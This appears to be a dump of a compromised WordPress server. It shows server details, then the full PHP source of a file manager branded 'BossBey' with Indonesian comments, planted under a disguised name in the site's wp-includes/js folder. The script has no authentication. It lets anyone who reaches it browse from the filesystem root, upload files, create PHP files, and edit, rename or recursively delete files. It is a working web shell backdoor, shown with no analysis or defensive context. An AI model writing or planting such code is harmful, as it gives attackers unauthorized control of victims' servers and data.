HEX
Server: nginx/1.26.0
System: Linux iZj6ceg0gjdkbpnmyl2cnnZ 5.15.60-1.el7.x86_64 #1 SMP Thu Aug 11 12:39:22 UTC 2022 x86_64
User: www (1000)
PHP: 7.0.33
Disabled: phpinfo,eval,passthru,exec,system,chroot,chgrp,chown,shell_exec,proc_open,proc_get_status,ini_alter,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,stream_socket_server,pfsockopen,fsocket,fsockopen
Upload Files
File: /data/wwwroot/sites/multitrustcapital.com/www/wp-includes/js/imgareaselect/wp-log.php
<?php
/**
 * File Manager - Linux Root Access Version
 * Fitur: Navigasi Breadcrumb Penuh dari / (Root)
 */

// --- KONFIGURASI ---

// Default direktori saat script pertama kali dibuka adalah folder script ini berada
// Tapi kita izinkan navigasi sampai ke System Root "/"
$startDir = __DIR__; 

// Ambil parameter 'dir' dari URL, jika tidak ada gunakan folder saat ini
$requestDir = isset($_GET['dir']) ? $_GET['dir'] : $startDir;

// Normalisasi path (Realpath membersihkan ../ dan symlink)
$currentPath = realpath($requestDir);

// Jika path tidak valid (misal user ketik sembarangan), kembalikan ke folder script
if ($currentPath === false || !file_exists($currentPath)) {
    $currentPath = realpath($startDir);
}

// Variabel UI
$message = '';
$msgType = ''; 
$mode = 'main'; // main, edit, rename
$editFile = '';
$editContent = '';
$renameTarget = '';

// --- FUNGSI BANTUAN ---

function formatSize($bytes) {
    if ($bytes > 0) {
        return number_format($bytes / 1024, 2) . ' KB';
    }
    return '-';
}

function getSafePath($base, $inputName) {
    // Karena kita di Linux, gabungkan path dengan '/'
    return rtrim($base, DIRECTORY_SEPARATOR) . DIRECTORY_SEPARATOR . $inputName;
}

// Hapus folder rekursif
function deleteRecursive($dir) {
    if (!is_dir($dir)) return unlink($dir);
    $items = scandir($dir);
    foreach ($items as $item) {
        if ($item == '.' || $item == '..') continue;
        $path = $dir . DIRECTORY_SEPARATOR . $item;
        if (is_dir($path)) deleteRecursive($path);
        else unlink($path);
    }
    return rmdir($dir);
}

// Cek apakah direktori bisa ditulis (Writable)
function isWritable($path) {
    return is_writable($path);
}

// --- PROSES ACTION (POST) ---

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $action = $_POST['action'] ?? '';
    
    // Upload
    if ($action === 'upload') {
        if (isset($_FILES['fileUpload']) && $_FILES['fileUpload']['error'] === UPLOAD_ERR_OK) {
            $name = basename($_FILES['fileUpload']['name']);
            $target = getSafePath($currentPath, $name);
            if (move_uploaded_file($_FILES['fileUpload']['tmp_name'], $target)) {
                $message = "File uploaded successfully.";
                $msgType = "success";
            } else {
                $message = "Upload failed. Check folder permissions.";
                $msgType = "error";
            }
        }
    }

    // Create File
    elseif ($action === 'create_file') {
        $name = $_POST['new_filename'] ?? '';
        if (!empty($name)) {
            $target = getSafePath($currentPath, $name);
            if (!file_exists($target)) {
                if (@file_put_contents($target, "") !== false) {
                    $message = "File created successfully.";
                    $msgType = "success";
                } else {
                    $message = "Failed to create file. Permission denied.";
                    $msgType = "error";
                }
            } else {
                $message = "File already exists.";
                $msgType = "error";
            }
        }
    }

    // Create Folder
    elseif ($action === 'create_folder') {
        $name = $_POST['new_foldername'] ?? '';
        if (!empty($name)) {
            $target = getSafePath($currentPath, $name);
            if (!file_exists($target)) {
                if (@mkdir($target)) {
                    $message = "Folder created successfully.";
                    $msgType = "success";
                } else {
                    $message = "Failed to create folder. Permission denied.";
                    $msgType = "error";
                }
            } else {
                $message = "Folder already exists.";
                $msgType = "error";
            }
        }
    }

    // Delete
    elseif ($action === 'delete') {
        $targetName = $_POST['target_name'] ?? '';
        $targetPath = getSafePath($currentPath, $targetName);
        
        if (file_exists($targetPath)) {
            $success = is_dir($targetPath) ? deleteRecursive($targetPath) : unlink($targetPath);
            if ($success) {
                $message = "Item deleted successfully.";
                $msgType = "success";
            } else {
                $message = "Delete failed. Permission denied.";
                $msgType = "error";
            }
        }
    }

    // Edit Mode
    elseif ($action === 'edit_mode') {
        $targetName = $_POST['target_name'] ?? '';
        $targetPath = getSafePath($currentPath, $targetName);
        if (is_file($targetPath) && is_readable($targetPath)) {
            $mode = 'edit';
            $editFile = $targetName;
            $editContent = file_get_contents($targetPath);
        } else {
            $message = "Cannot read file.";
            $msgType = "error";
        }
    }

    // Save File
    elseif ($action === 'save_file') {
        $targetName = $_POST['target_name'] ?? '';
        $content = $_POST['file_content'] ?? '';
        $targetPath = getSafePath($currentPath, $targetName);
        
        // Normalisasi Newline untuk Linux
        $content = str_replace("\r\n", "\n", $content);

        if (@file_put_contents($targetPath, $content) !== false) {
            $message = "File saved successfully.";
            $msgType = "success";
            $mode = 'main';
        } else {
            $message = "Failed to save file. Permission denied.";
            $msgType = "error";
            $mode = 'edit';
            $editFile = $targetName;
            $editContent = $content;
        }
    }

    // Rename
    elseif ($action === 'rename_mode') {
        $mode = 'rename';
        $renameTarget = $_POST['target_name'];
    }
    elseif ($action === 'do_rename') {
        $oldName = $_POST['old_name'];
        $newName = basename($_POST['new_name']);
        $oldPath = getSafePath($currentPath, $oldName);
        $newPath = getSafePath($currentPath, $newName);

        if (!empty($newName) && file_exists($oldPath) && !file_exists($newPath)) {
            if (@rename($oldPath, $newPath)) {
                $message = "Renamed successfully.";
                $msgType = "success";
                $mode = 'main';
            } else {
                $message = "Rename failed. Permission denied.";
                $msgType = "error";
            }
        } else {
            $message = "Invalid name or already exists.";
            $msgType = "error";
        }
    }
    elseif ($action === 'cancel') {
        $mode = 'main';
    }
}

// --- DATA LISTING ---
$items = [];
if ($mode === 'main') {
    // Gunakan scandir biasa
    $scanned = @scandir($currentPath);
    
    if ($scanned === false) {
        $message = "Access Denied: Cannot read directory.";
        $msgType = "error";
    } else {
        $folders = [];
        $files = [];

        foreach ($scanned as $item) {
            if ($item == '.') continue;
            
            $fullPath = getSafePath($currentPath, $item);
            
            // Logic Tombol [..] (Parent)
            // Jika item adalah '..' dan kita BUKAN di root system ('/'), maka tampilkan
            if ($item == '..') {
                if ($currentPath != DIRECTORY_SEPARATOR && $currentPath != '/') {
                    $parentPath = dirname($currentPath);
                    $folders[] = [
                        'name' => '[..]',
                        'path' => $parentPath, // Path parent penuh
                        'type' => 'Folder',
                        'size' => '-',
                        'perm' => '',
                        'is_parent' => true
                    ];
                }
                continue;
            }

            // Cek permission rwx (Read Write Execute) simpel
            $perms = substr(sprintf('%o', fileperms($fullPath)), -4);
            $isWritable = is_writable($fullPath);
            $permStr = $perms . ($isWritable ? ' (W)' : ' (R-O)');

            if (is_dir($fullPath)) {
                $folders[] = [
                    'name' => $item,
                    'path' => $fullPath, // Simpan full path untuk link
                    'type' => 'Folder',
                    'size' => '-',
                    'perm' => $permStr,
                    'is_parent' => false
                ];
            } else {
                $files[] = [
                    'name' => $item,
                    'path' => $fullPath,
                    'type' => 'File',
                    'size' => formatSize(filesize($fullPath)),
                    'perm' => $permStr,
                    'is_parent' => false
                ];
            }
        }
        $items = array_merge($folders, $files);
    }
}

// Info Server
$serverInfo = get_current_user() . "@" . php_uname('n') . " (" . PHP_OS . ")";
?>

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>File Manager (BossBey)</title>
    <style>
        body { font-family: Arial, sans-serif; margin: 20px; background: #f4f4f4; }
        .container { max-width: 1000px; margin: auto; background: #fff; padding: 20px; border-radius: 5px; box-shadow: 0 0 10px rgba(0,0,0,0.1); }
        h2 { margin-top: 0; }
        .breadcrumb { 
            font-size: 1.1em;
            font-family: monospace; 
            padding: 12px; 
            background: #e9ecef; 
            border-radius: 4px;
            margin-bottom: 20px;
            word-wrap: break-word;
        }
        .breadcrumb a { text-decoration: none; color: #007bff; font-weight: bold; }
        .breadcrumb a:hover { text-decoration: underline; color: #0056b3; }
        .breadcrumb .sep { color: #6c757d; margin: 0 5px; }
        
        .msg { padding: 12px; margin-bottom: 20px; border-radius: 4px; border: 1px solid transparent; }
        .success { background: #d4edda; color: #155724; border-color: #c3e6cb; }
        .error { background: #f8d7da; color: #721c24; border-color: #f5c6cb; }
        
        .form-section { background: #f8f9fa; padding: 15px; border-radius: 4px; margin-bottom: 20px; border: 1px solid #ddd; }
        
        table { width: 100%; border-collapse: collapse; }
        th { background: #f1f1f1; text-align: left; padding: 10px; border-bottom: 2px solid #ddd; }
        td { padding: 10px; border-bottom: 1px solid #eee; vertical-align: middle; }
        tr:hover { background: #f9f9f9; }
        
        .folder-link { font-weight: bold; color: #d63384; text-decoration: none; }
        .file-link { color: #333; }
        .actions button { cursor: pointer; margin-right: 5px; padding: 2px 8px; font-size: 0.85em; }
        .editor-area { width: 100%; height: 400px; font-family: monospace; padding: 10px; box-sizing: border-box; }
        .server-info { font-size: 0.8em; color: #666; float: right; font-weight: normal; }
    </style>
</head>
<body>

<div class="container">
    <h2>(BossBey) File Manager</h2>

    <div class="breadcrumb">
        <?php
        // 1. Link ke ROOT Sistem (/)
        echo "<a href='?dir=" . urlencode('/') . "'>[ROOT]</a>";
        
        // 2. Pecah Path menjadi Array untuk dibuat link satu per satu
        // Contoh: /home/user/public_html -> ['', 'home', 'user', 'public_html']
        $pathParts = explode(DIRECTORY_SEPARATOR, $currentPath);
        $buildLink = '';
        
        foreach ($pathParts as $part) {
            if ($part === '') continue; // Skip kosong akibat explode '/' di awal
            
            // Bangun path bertahap: /home, lalu /home/user, dst
            $buildLink .= DIRECTORY_SEPARATOR . $part;
            
            echo "<span class='sep'>/</span>";
            echo "<a href='?dir=" . urlencode($buildLink) . "'>" . htmlspecialchars($part) . "</a>";
        }
        ?>
        <div class="server-info"><?php echo $serverInfo; ?></div>
    </div>

    <?php if ($message): ?>
        <div class="msg <?php echo $msgType; ?>">
            <?php echo htmlspecialchars($message); ?>
        </div>
    <?php endif; ?>

    <?php if ($mode === 'edit'): ?>
        <h3>Editing: <?php echo htmlspecialchars($editFile); ?></h3>
        <form method="post">
            <input type="hidden" name="action" value="save_file">
            <input type="hidden" name="target_name" value="<?php echo htmlspecialchars($editFile); ?>">
            <textarea name="file_content" class="editor-area"><?php echo htmlspecialchars($editContent); ?></textarea>
            <br><br>
            <button type="submit">Save Changes</button>
            <button type="submit" name="action" value="cancel" formnovalidate>Cancel</button>
        </form>

    <?php elseif ($mode === 'rename'): ?>
        <h3>Rename Item: <?php echo htmlspecialchars($renameTarget); ?></h3>
        <form method="post">
            <input type="hidden" name="action" value="do_rename">
            <input type="hidden" name="old_name" value="<?php echo htmlspecialchars($renameTarget); ?>">
            New Name: <input type="text" name="new_name" value="<?php echo htmlspecialchars($renameTarget); ?>" style="width:300px;">
            <br><br>
            <button type="submit">Rename</button>
            <button type="submit" name="action" value="cancel" formnovalidate>Cancel</button>
        </form>

    <?php else: ?>
        
        <div class="form-section">
            <?php if (isWritable($currentPath)): ?>
                <form method="post" enctype="multipart/form-data" style="display:inline-block; margin-right:20px; vertical-align:top;">
                    <strong>Upload:</strong><br>
                    <input type="hidden" name="action" value="upload">
                    <input type="file" name="fileUpload">
                    <button type="submit">Upload</button>
                </form>
                
                <div style="display:inline-block; border-left: 1px solid #ddd; padding-left: 20px;">
                    <form method="post" style="margin-bottom: 5px;">
                        <input type="hidden" name="action" value="create_file">
                        <input type="text" name="new_filename" placeholder="newfile.php" size="15">
                        <button type="submit">New File</button>
                    </form>
                    <form method="post">
                        <input type="hidden" name="action" value="create_folder">
                        <input type="text" name="new_foldername" placeholder="newfolder" size="15">
                        <button type="submit">New Folder</button>
                    </form>
                </div>
            <?php else: ?>
                <strong style="color:red;">Current Directory is Read-Only. Cannot Upload or Create items here.</strong>
            <?php endif; ?>
        </div>

        <table>
            <thead>
                <tr>
                    <th>Name</th>
                    <th width="100">Perms</th>
                    <th width="80">Size</th>
                    <th width="180">Actions</th>
                </tr>
            </thead>
            <tbody>
                <?php foreach ($items as $item): ?>
                <tr>
                    <td class="grid-name">
                        <?php if ($item['type'] === 'Folder'): ?>
                            <a href="?dir=<?php echo urlencode($item['path']); ?>" class="folder-link">
                                <?php echo htmlspecialchars($item['name']); ?>
                            </a>
                        <?php else: ?>
                            <span class="file-link"><?php echo htmlspecialchars($item['name']); ?></span>
                        <?php endif; ?>
                    </td>
                    <td style="font-size: 0.8em; color:#666;"><?php echo $item['perm']; ?></td>
                    <td><?php echo $item['size']; ?></td>
                    <td class="actions">
                        <?php if (!$item['is_parent']): ?>
                            
                            <?php if ($item['type'] === 'File'): ?>
                                <form method="post" style="display:inline;">
                                    <input type="hidden" name="action" value="edit_mode">
                                    <input type="hidden" name="target_name" value="<?php echo htmlspecialchars($item['name']); ?>">
                                    <button type="submit">Edit</button>
                                </form>
                            <?php endif; ?>

                            <form method="post" style="display:inline;">
                                <input type="hidden" name="action" value="rename_mode">
                                <input type="hidden" name="target_name" value="<?php echo htmlspecialchars($item['name']); ?>">
                                <button type="submit">Ren</button>
                            </form>

                            <form method="post" style="display:inline;" onsubmit="return confirm('Delete <?php echo htmlspecialchars($item['name']); ?>?');">
                                <input type="hidden" name="action" value="delete">
                                <input type="hidden" name="target_name" value="<?php echo htmlspecialchars($item['name']); ?>">
                                <button type="submit" style="color:red;">Del</button>
                            </form>
                        
                        <?php endif; ?>
                    </td>
                </tr>
                <?php endforeach; ?>
            </tbody>
        </table>
    <?php endif; ?>

</div>
</body>
</html>